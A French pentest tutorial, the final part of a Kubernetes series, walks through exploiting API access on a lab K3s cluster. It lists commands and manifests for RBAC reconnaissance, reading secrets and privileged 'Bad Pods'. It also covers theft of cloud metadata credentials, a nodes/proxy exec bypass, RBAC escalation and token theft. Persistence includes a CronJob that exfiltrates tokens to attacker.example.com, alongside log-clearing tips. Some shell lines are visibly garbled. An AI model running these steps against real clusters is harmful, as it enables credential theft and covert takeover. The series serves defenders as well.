De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 3/3

L'article précédent couvrait la reconnaissance depuis un pod compromis et les techniques d'évasion vers le nœud. À ce stade, l'attaquant dispose de credentials avec un accès API : un kubeconfig admin récupéré sur le master, un token de Service Account système trouvé sur le nœud, ou un accès direct au datastore.
Cet article couvre l'exploitation de cet accès API : cartographier ses droits et ceux des autres, explorer les ressources accessibles (secrets, configmaps, pods), déployer des pods malveillants pour s'élever en privilèges, et persister dans le cluster. La différence avec l'article précédent est le point de vue : on n'est plus enfermé dans un conteneur, on attaque le cluster via son API.
Reconnaissance des droits et du périmètre
Avant toute action, l'attaquant doit comprendre l'étendue de ses droits. Un token peut donner un accès cluster-admin complet ou être limité à un seul namespace avec des permissions minimales.
Identifier son périmètre : namespaces accessibles
La première question est : est-on limité à un namespace ou a-t-on une vue cluster-wide ?
$ kubectl get namespaces
NAME STATUS AGE
cilium-secrets Active 6d22h
default Active 6d22h
ingress-nginx Active 5d20h
kube-node-lease Active 6d22h
kube-public Active 6d22h
kube-system Active 6d22h
monitoring Active 5d21h
Si la commande fonctionne, on a une visibilité sur l'ensemble des namespaces du cluster. Si elle échoue (Forbidden), on est probablement limité à un seul namespace, celui indiqué dans le token JWT ou le kubeconfig. Dans ce cas, on teste manuellement les namespaces courants :
# Tester des namespaces courants si "get namespaces" est interdit
$ for ns in default kube-system kube-public monitoring ingress-nginx production staging; do
kubectl auth can-i list pods -n \(ns 2>/dev/null && echo "→ accès à \)ns"
done
kubectl auth can-i : auditer ses propres droits
kubectl auth can-i --list affiche toutes les permissions du token courant dans un namespace donné. L'article précédent l'utilisait pour un premier diagnostic rapide. Ici on va plus loin : on itère sur chaque namespace pour identifier les différences de droits.
# Droits dans chaque namespace
\( for ns in \)(kubectl get ns --no-headers -o custom-columns=":metadata.name"); do
echo "=== $ns ==="
kubectl auth can-i --list -n \(ns 2>/dev/null | grep -v "selfsubject\|^\)\|Resources\|well-known\|openid\|openapi\|version\|healthz\|livez\|readyz\|/api"
echo
done
Le résultat révèle si les droits varient selon le namespace. Par exemple, un SA peut avoir get secrets dans default mais pas dans kube-system. On cherche spécifiquement les verbes dangereux :
| Verbe | Ressource | Impact |
|---|---|---|
get/list |
secrets |
Lire les credentials de tout le namespace |
create |
pods |
Déployer un pod malveillant (voir Bad Pods) |
create |
pods/exec |
Exec dans un pod existant → voler son token |
create/patch |
rolebindings |
S'attribuer un rôle plus puissant |
escalate |
roles/clusterroles |
Créer un rôle avec plus de droits que les siens |
impersonate |
users/serviceaccounts |
Agir en tant qu'un autre compte |
* |
*.* |
Accès total (cluster-admin) |
Les vérifications ciblées permettent de confirmer rapidement :
# Vérifications ciblées
$ kubectl auth can-i get secrets -n default
yes
$ kubectl auth can-i create pods -n kube-system
no
$ kubectl auth can-i list secrets --all-namespaces
yes
Un verbe souvent sous-estimé : list. Sur les secrets, list retourne le contenu complet de tous les secrets du namespace, même sans le verbe get. C'est le cas du SA ingress-nginx sur notre cluster, qui a list watch sur les secrets dans tous les namespaces.
kubectl-who-can : cartographier les droits des autres
kubectl auth can-i répond à "qu'est-ce que JE peux faire ?". La question inverse est tout aussi importante : "QUI peut faire X ?". C'est ce que fait kubectl-who-can d'Aqua Security.
# Installation
$ wget -q https://github.com/aquasecurity/kubectl-who-can/releases/latest/download/kubectl-who-can_linux_x86_64.tar.gz
$ tar xzf kubectl-who-can_linux_x86_64.tar.gz
$ mv kubectl-who-can /usr/local/bin/
Les requêtes clés pour un attaquant :
# Qui peut lire les secrets ? → cibles prioritaires
$ kubectl who-can get secrets --all-namespaces
CLUSTERROLEBINDING SUBJECT TYPE
cluster-admin system:masters Group
system:controller:clusterrole-aggregation clusterrole-aggregation-controller ServiceAccount
# Qui peut créer des pods ? → pivoter vers Bad Pods
$ kubectl who-can create pods -n default
# Qui peut exec dans des pods ? → voler des tokens
$ kubectl who-can create pods/exec -n kube-system
# Qui peut modifier les RBAC ? → escalade de privilèges
$ kubectl who-can create rolebindings --all-namespaces
Le résultat donne une cartographie des SA à forte valeur. Si on compromet l'un d'entre eux (via un token trouvé sur un nœud, dans un secret, ou en exec dans leur pod), on hérite de leurs droits.
Synthèse : choisir son vecteur
Selon les droits identifiés :
get/list secrets ou configmaps → lire les ressources accessibles (section suivante)
create pods → déployer un pod malveillant pour accéder au nœud (section Bad Pods)
create rolebindings → s'attribuer un rôle plus puissant (section Escalade RBAC)
create pods/exec → exec dans des pods existants pour voler leurs tokens (section Mouvement latéral)
droits minimaux → chercher les combos :
create podssansget secretspermet quand même de monter un secret dans un pod qu'on contrôle
Revue des ressources accessibles
Secrets
Les Secrets Kubernetes sont encodés en base64, pas chiffrés. Avec le verbe get ou list, on les lit en clair :
$ kubectl get secrets --all-namespaces
NAMESPACE NAME TYPE DATA AGE
ingress-nginx ingress-nginx-admission Opaque 3 5d20h
kube-system cilium-ca Opaque 2 6d22h
kube-system hubble-relay-client-certs kubernetes.io/tls 3 6d22h
kube-system hubble-server-certs kubernetes.io/tls 3 6d22h
kube-system k3s-master.node-password.k3s k3s.cattle.io/node-password 1 6d22h
kube-system k3s-serving kubernetes.io/tls 2 6d22h
kube-system k3s-worker-01.node-password.k3s k3s.cattle.io/node-password 1 6d22h
kube-system k3s-worker-02.node-password.k3s k3s.cattle.io/node-password 1 6d22h
kube-system sh.helm.release.v1.cilium.v1 helm.sh/release.v1 1 6d22h
# Lire un secret spécifique et décoder la valeur
$ kubectl get secret cilium-ca -n kube-system -o jsonpath='{.data.ca\.crt}' | base64 -d
-----BEGIN CERTIFICATE-----
MIIBdTCCARugAwIBAgIQ...
-----END CERTIFICATE-----
# Extraire tous les secrets d'un namespace en une commande
$ kubectl get secrets -n kube-system -o json | \
jq '.items[] | {name: .metadata.name, data: (.data // {} | map_values(@base64d))}'
Les types à surveiller :
Opaque: credentials applicatifs (mots de passe BDD, clés API, tokens)kubernetes.io/tls: certificats TLS (CA, clés privées). Permettent du MITM ou de l'impersonationkubernetes.io/service-account-token: tokens SA legacy (pré-1.24), non expirantshelm.sh/release.v1: releases Helm, contiennent les valeurs du chart en clair, souvent avec des mots de passek3s.cattle.io/node-password: spécifique K3s, mots de passe des nœuds
ConfigMaps
Les ConfigMaps ne sont pas chiffrés non plus, et contiennent souvent des données sensibles mal placées : URLs de connexion avec credentials, fichiers de configuration, clés d'API.
$ kubectl get configmaps --all-namespaces
NAMESPACE NAME DATA AGE
kube-system cilium-config 152 6d22h
kube-system coredns 2 6d22h
kube-system hubble-relay-config 1 6d22h
kube-system local-path-config 4 6d22h
ingress-nginx ingress-nginx-controller 0 5d20h
...
Le ConfigMap coredns est particulièrement intéressant : il révèle la configuration DNS du cluster et la correspondance nœuds/IPs :
$ kubectl get configmap coredns -n kube-system -o yaml
data:
Corefile: |
.:53 {
kubernetes cluster.local in-addr.arpa ip6.arpa { pods insecure }
hosts /etc/coredns/NodeHosts { ttl 60 }
prometheus :9153
forward . /etc/resolv.conf
}
NodeHosts: |
10.25.11.200 k3s-master
10.25.11.201 k3s-worker-01
10.25.11.202 k3s-worker-02
Le ConfigMap cilium-config (152 entrées) expose toute la configuration réseau du cluster : CIDR des pods (10.0.0.0/8), taille des masques (/24), mode de routage, etc.
Cartographie du cluster
Avec un accès en lecture, on peut dresser une carte complète du cluster :
# Pods en cours d'exécution et leur répartition sur les nœuds
$ kubectl get pods -A -o wide
NAMESPACE NAME READY STATUS NODE
default victim-pod 1/1 Running k3s-worker-01
ingress-nginx ingress-nginx-controller-5d4f7b984b-zgvxw 1/1 Running k3s-worker-02
kube-system cilium-wqqnp 1/1 Running k3s-worker-01
kube-system local-path-provisioner-546dfc6456-fbk7k 1/1 Running k3s-worker-01
kube-system metrics-server-c8774f4f4-vp4mr 1/1 Running k3s-worker-02
monitoring nginx-66686b6766-pdqvz 1/1 Running k3s-worker-02
...
# Nœuds avec versions et IPs
$ kubectl get nodes -o wide
NAME STATUS ROLES VERSION INTERNAL-IP OS-IMAGE CONTAINER-RUNTIME
k3s-master Ready control-plane v1.34.4+k3s1 10.25.11.200 Debian GNU/Linux 12 (bookworm) containerd://2.1.5-k3s1
k3s-worker-01 Ready <none> v1.34.4+k3s1 10.25.11.201 Debian GNU/Linux 12 (bookworm) containerd://2.1.5-k3s1
k3s-worker-02 Ready <none> v1.34.4+k3s1 10.25.11.202 Debian GNU/Linux 12 (bookworm) containerd://2.1.5-k3s1
# Service Accounts existants
$ kubectl get serviceaccounts -A --no-headers | grep -v default
ingress-nginx ingress-nginx 0 5d20h
ingress-nginx ingress-nginx-admission 0 5d20h
kube-system cilium 0 6d22h
kube-system cilium-envoy 0 6d22h
kube-system cilium-operator 0 6d22h
kube-system coredns 0 6d22h
kube-system hubble-relay 0 6d22h
kube-system hubble-ui 0 6d22h
kube-system local-path-provisioner-service-account 0 6d22h
kube-system metrics-server 0 6d22h
...
Cette cartographie (pods, nœuds, SA) croisée avec les résultats de who-can donne une vue d'ensemble : on sait quels SA ont des droits intéressants, sur quels nœuds tournent leurs pods, et donc quels nœuds cibler pour récupérer leurs tokens.
Déploiement de pods malveillants
Si le token compromis permet de créer des pods (directement ou via un Deployment, DaemonSet, CronJob), l'attaquant peut déployer un pod avec des attributs dangereux pour accéder au nœud sous-jacent. C'est le même principe que les misconfigurations vues dans l'article précédent, mais cette fois l'attaquant crée le pod lui-même.
La taxonomie Bad Pod
Bishop Fox a classifié 8 niveaux de pods malveillants selon les attributs de sécurité exploités :
| # | Attributs | Impact |
|---|---|---|
| 1 | privileged + hostPID + hostNetwork + hostPath | Contrôle total du nœud |
| 2 | privileged + hostPID | Contrôle total via nsenter |
| 3 | privileged | Montage du disque du nœud |
| 4 | hostPath (/) | Lecture/écriture du système de fichiers hôte |
| 5 | hostPID | Visibilité des processus hôte |
| 6 | hostNetwork | Accès au réseau du nœud |
| 7 | hostIPC | Mémoire partagée entre processus |
| 8 | Rien | Limité au réseau interne et metadata cloud |
On commence toujours par le plus permissif et on descend si Pod Security Admission bloque.
Everything allowed
Le pod "tout permis" donne un accès root complet au nœud :
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed
namespace: default
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: pwn
image: alpine
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
$ kubectl apply -f everything-allowed.yaml
pod/everything-allowed created
$ kubectl exec -it everything-allowed -- chroot /host bash
root@k3s-worker-01:/# id
uid=0(root) gid=0(root)
# On est root sur le nœud, accès au kubelet, aux tokens SA, à tout
root@k3s-worker-01:/# find /var/lib/kubelet/pods/ -name token -path "*/kube-api-access-*" 2>/dev/null
/var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-rnvqj/token
/var/lib/kubelet/pods/a3b2c1d4-.../volumes/kubernetes.io~projected/kube-api-access-x7k2m/token
...
hostPath only
Le plus réaliste en pratique. Pod Security Admission peut bloquer privileged: true mais laisser passer hostPath si la politique est mal configurée :
apiVersion: v1
kind: Pod
metadata:
name: hostpath-pod
spec:
containers:
- name: reader
image: alpine
command: ["sleep", "infinity"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
$ kubectl exec -it hostpath-pod -- sh
# Lire les tokens SA des pods du nœud
/ # cat /host/var/lib/kubelet/pods/6718e893-.../kube-api-access-rnvqj/token
# Lire le kubeconfig si on est sur le master
/ # cat /host/etc/rancher/k3s/k3s.yaml
# Lire les credentials système
/ # cat /host/etc/shadow
hostNetwork only
Utile quand hostPath est bloqué. Donne accès au réseau du nœud au lieu du réseau des pods :
apiVersion: v1
kind: Pod
metadata:
name: hostnet-pod
spec:
hostNetwork: true
containers:
- name: net
image: alpine
command: ["sleep", "infinity"]
Depuis ce pod, on est sur le réseau du nœud. Ça ouvre plusieurs vecteurs.
Services locaux du nœud
Des services écoutent sur 127.0.0.1 et ne sont normalement pas accessibles depuis les pods :
# Kubelet API (peut exposer les pods du nœud)
$ curl -sk https://127.0.0.1:10250/pods | jq '.items[].metadata.name'
# kube-proxy metrics
$ curl -s http://127.0.0.1:10249/metrics | head
# Metrics server, cAdvisor, etc.
$ curl -s http://127.0.0.1:10255/pods
Le kubelet sur 127.0.0.1:10250 est particulièrement intéressant : s'il accepte les requêtes anonymes, on peut exec dans n'importe quel pod du nœud sans passer par l'API server.
SSRF vers le metadata endpoint cloud
Sur les cloud providers (AWS, GCP, Azure), chaque nœud a accès au service de métadonnées de l'instance via 169.254.169.254. Depuis un pod normal (réseau des pods), cette IP est souvent bloquée. Avec hostNetwork: true, on contourne ce filtrage :
# AWS : récupérer les credentials IAM du nœud
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
node-role-eks
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/node-role-eks
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-03-05T18:00:00Z"
}
# GCP : récupérer le token OAuth du nœud
$ curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure : récupérer le token d'identité managée
$ curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Ces credentials cloud permettent de pivoter hors du cluster : accéder aux buckets S3, aux bases de données cloud, aux autres services de l'infrastructure. C'est souvent le chemin le plus court vers une compromission complète de l'environnement cloud.
Pivot réseau
Avec hostNetwork, le pod partage l'interface réseau du nœud. On peut scanner le réseau de management des nœuds (ici 10.25.11.0/24) et atteindre des services qui ne sont pas exposés au réseau des pods : bases de données en dehors du cluster, serveurs de CI/CD, NFS, etc.
# Scanner le réseau des nœuds
\( for i in \)(seq 1 254); do
timeout 1 bash -c "echo > /dev/tcp/10.25.11.\(i/22" 2>/dev/null && echo "10.25.11.\)i:22 open"
done
10.25.11.200:22 open
10.25.11.201:22 open
10.25.11.202:22 open
Cibler un nœud spécifique avec nodeName
Par défaut, le scheduler choisit le nœud. Mais l'attaquant peut forcer le placement sur un nœud précis avec nodeName :
apiVersion: v1
kind: Pod
metadata:
name: target-worker02
spec:
nodeName: k3s-worker-02 # forcer le placement sur ce nœud
containers:
- name: pwn
image: alpine
command: ["sleep", "infinity"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
L'intérêt est de cibler un nœud spécifique pour récupérer les tokens SA des pods qui tournent dessus. Par exemple, la cartographie montre que ingress-nginx-controller tourne sur k3s-worker-02 et que son SA a list watch sur les secrets de tout le cluster. En déployant un pod hostPath sur k3s-worker-02, on accède au token de l'ingress controller dans /var/lib/kubelet/pods/ et on hérite de ses droits.
Pour cibler le master (k3s-master), on récupère en plus le kubeconfig admin et l'accès au datastore kine/etcd.
Quand Pod Security Admission bloque
Les clusters modernes utilisent Pod Security Admission (PSA) pour restreindre les pods :
$ kubectl apply -f everything-allowed.yaml
Error from server (Forbidden): pods "everything-allowed" is forbidden:
violates PodSecurity "restricted:latest"
Stratégies de contournement :
Tester d'autres namespaces : les labels PSA sont par namespace, certains peuvent être plus permissifs
Descendre dans la taxonomie : si
privilegedest bloqué, testerhostPath, puishostNetwork, etc.Vérifier si on peut modifier les labels du namespace :
kubectl auth can-i patch namespaces, si oui on peut changer le niveau PSA
Escalade de privilèges RBAC
Si les droits actuels ne permettent pas de créer des pods privilégiés ou de lire les secrets, on peut tenter d'escalader via les mécanismes RBAC eux-mêmes.
nodes/proxy : un GET qui donne un RCE
Le verbe get sur la ressource nodes/proxy semble inoffensif, mais il donne un accès direct au Kubelet de chaque nœud. Le Kubelet expose un endpoint /exec qui utilise WebSocket : la requête initiale est un GET, et le Kubelet valide cette requête au lieu de vérifier les permissions create normalement requises pour l'exécution de commandes.
# Vérifier si on a ce droit
$ kubectl auth can-i get nodes/proxy
yes
# Lister les pods du nœud via le Kubelet
$ kubectl get --raw "/api/v1/nodes/k3s-worker-01/proxy/pods" | jq '.items[].metadata.name'
"victim-pod"
"cilium-wqqnp"
"local-path-provisioner-546dfc6456-fbk7k"
# Exec dans un pod via le Kubelet (bypass de l'API server)
$ websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://10.25.11.201:10250/exec/default/victim-pod/victim-pod?command=id"
uid=0(root) gid=0(root)
L'intérêt est double : on peut exec dans n'importe quel pod du nœud sans avoir create pods/exec, et ces requêtes passent par le Kubelet plutôt que par l'API server, ce qui peut échapper aux audit logs. Documenté par Graham Helton.
Modifier les RoleBindings
Avec le verbe create ou patch sur les RoleBindings, on peut s'attribuer un rôle existant :
# Vérifier le droit
$ kubectl auth can-i create rolebindings -n default
yes
# Se lier au ClusterRole "admin" dans le namespace default
$ kubectl create rolebinding self-admin \
--clusterrole=admin \
--serviceaccount=default:compromised-sa \
-n default
rolebinding.rbac.authorization.k8s.io/self-admin created
# Vérifier les nouveaux droits
$ kubectl auth can-i get secrets -n default
yes
Les ClusterRoles admin, edit et cluster-admin existent par défaut dans tout cluster Kubernetes. Si on peut créer un ClusterRoleBinding (portée cluster-wide), on obtient un accès total.
Impersonation
Le verbe impersonate permet d'agir en tant qu'un autre utilisateur ou SA :
# Agir en tant que le SA cilium
$ kubectl get pods --all-namespaces \
--as=system:serviceaccount:kube-system:cilium
# Agir en tant qu'un groupe admin
$ kubectl get secrets -A --as=admin --as-group=system:masters
L'impersonation ne modifie rien : on emprunte temporairement l'identité d'un autre compte. C'est transparent dans les audit logs (l'impersonation y est tracée).
Combo : create pods sans get secrets
Un pattern classique : le SA ne peut pas lire les secrets directement, mais peut créer des pods. On crée alors un pod qui monte le secret cible :
apiVersion: v1
kind: Pod
metadata:
name: secret-reader
spec:
containers:
- name: reader
image: alpine
command: ["sleep", "infinity"]
env:
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: app-secret
key: password
volumeMounts:
- name: secret-vol
mountPath: /secrets
volumes:
- name: secret-vol
secret:
secretName: app-secret
$ kubectl apply -f secret-reader.yaml
$ kubectl exec secret-reader -- env | grep DB_PASSWORD
DB_PASSWORD=s3cr3t
$ kubectl exec secret-reader -- cat /secrets/password
s3cr3t
Le secret est lisible sans jamais avoir eu get secrets.
Mouvement latéral entre namespaces
Exec dans des pods existants
Avec create pods/exec, on peut entrer dans un pod existant et voler son token SA :
# Lister les pods dans kube-system
$ kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
cilium-wqqnp 1/1 Running 0 6d22h
local-path-provisioner-546dfc6456-fbk7k 1/1 Running 0 6d22h
coredns-695cbbfcb9-h559v 1/1 Running 0 6d22h
...
# Voler le token du pod cilium
$ kubectl exec cilium-wqqnp -n kube-system -- \
cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIs...
# Tester les droits du token volé
\( STOLEN_TOKEN=\)(kubectl exec cilium-wqqnp -n kube-system -- \
cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( kubectl auth can-i --list --token="\)STOLEN_TOKEN" \
--server=https://10.25.11.200:6443
Déployer dans un autre namespace
Si le SA a create pods dans un namespace système :
apiVersion: v1
kind: Pod
metadata:
name: lateral-pod
namespace: kube-system
spec:
automountServiceAccountToken: true
containers:
- name: pwn
image: alpine
command: ["sleep", "infinity"]
Le pod hérite du SA default de kube-system, qui peut avoir plus de droits que celui de default. Et en ciblant un namespace spécifique, on accède aux secrets et configmaps de ce namespace depuis l'intérieur du pod.
Persistance
Une fois les privilèges obtenus, l'attaquant veut maintenir son accès même si le vecteur initial est corrigé.
CronJob
Un CronJob avec un nom anodin s'exécute périodiquement et peut exfiltrer des tokens ou maintenir un accès :
apiVersion: batch/v1
kind: CronJob
metadata:
name: metrics-collector
namespace: default
spec:
schedule: "*/30 * * * *"
successfulJobsHistoryLimit: 0
failedJobsHistoryLimit: 0
jobTemplate:
spec:
template:
spec:
containers:
- name: collector
image: alpine
command:
- /bin/sh
- -c
- |
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
wget -q -O- --post-data="t=$TOKEN" http://attacker.example.com/c
restartPolicy: Never
successfulJobsHistoryLimit: 0 et failedJobsHistoryLimit: 0 suppriment automatiquement les pods terminés, réduisant les traces.
Static pods
Si l'attaquant a un accès au système de fichiers du nœud (via hostPath ou accès direct), il peut créer un static pod. Le kubelet surveille un répertoire de manifestes et crée automatiquement les pods qui y apparaissent :
# K3s : /var/lib/rancher/k3s/agent/pod-manifests/
# kubeadm : /etc/kubernetes/manifests/
$ cat > /host/var/lib/rancher/k3s/agent/pod-manifests/debug-agent.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: debug-agent
namespace: kube-system
spec:
hostNetwork: true
containers:
- name: agent
image: alpine
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: root
mountPath: /host
volumes:
- name: root
hostPath:
path: /
EOF
Ce pod est recréé automatiquement par le kubelet s'il est supprimé via kubectl delete. Le seul moyen de le supprimer est de retirer le fichier manifeste du nœud. C'est une persistance très durable car elle ne passe pas par l'API server.
Mutating Admission Webhook
Le mécanisme le plus discret : un webhook qui intercepte chaque création de pod et y injecte un sidecar ou un montage de secret. Nécessite create mutatingwebhookconfigurations, ce qui est rare hors cluster-admin. Documenté dans la Threat Matrix for Kubernetes de Microsoft.
Évasion et discrétion
Noms anodins
Les noms des pods malveillants doivent se fondre dans les workloads existants :
# Mauvais : attacker-pod, pwn-shell, reverse-shell
# Bon : metrics-collector, log-rotator, health-checker, cilium-monitor
Réduire les traces
# Supprimer les events (expirent après 1h par défaut, mais visibles entre-temps)
$ kubectl delete events --all -n default
# Supprimer un pod après usage
$ kubectl delete pod everything-allowed --force --grace-period=0
Chaque appel kubectl exec génère un événement dans les audit logs. Pour limiter les traces, préférer un montage hostPath et travailler directement depuis le pod plutôt que de multiplier les exec.
TL;DR : avec un accès API, l'attaquant commence par cartographier ses droits (auth can-i) et ceux des autres (who-can) pour identifier ses vecteurs. Selon les permissions : lecture directe des secrets et configmaps, déploiement de pods malveillants (Bad Pods) ciblant des nœuds spécifiques pour récupérer des tokens SA, SSRF vers les metadata cloud via hostNetwork, escalade RBAC via les RoleBindings ou l'impersonation, mouvement latéral entre namespaces. La persistance passe par des CronJobs, des static pods, ou des admission webhooks.
Conclusion de la série
Cette série a couvert le parcours complet d'un attaquant face à un cluster Kubernetes : la compréhension de l'architecture et des objets (partie 1), le fonctionnement réseau et le cloisonnement (partie 2), la reconnaissance externe et l'accès initial (partie 3), la progression depuis un pod compromis jusqu'à l'évasion vers le nœud (partie 4), et l'exploitation de l'accès API jusqu'à la prise de contrôle du cluster (partie 5).
Le constat est clair : un cluster Kubernetes déployé avec ses valeurs par défaut offre une surface d'attaque considérable. Les Service Accounts montés automatiquement, l'absence de NetworkPolicies, les RBAC trop permissifs, et les pods sans restrictions de sécurité forment une chaîne d'exploitation qui mène régulièrement du premier shell dans un pod au cluster-admin complet.
Pour les défenseurs, les leviers existent : Pod Security Admission pour restreindre les attributs des pods, NetworkPolicies pour segmenter le réseau, RBAC least-privilege pour limiter les droits des Service Accounts, chiffrement at-rest pour protéger etcd, audit logging pour détecter les comportements suspects, et des outils comme kube-bench, kubeaudit, ou Falco pour auditer et surveiller en continu. La sécurité d'un cluster Kubernetes n'est pas un état, c'est un processus.





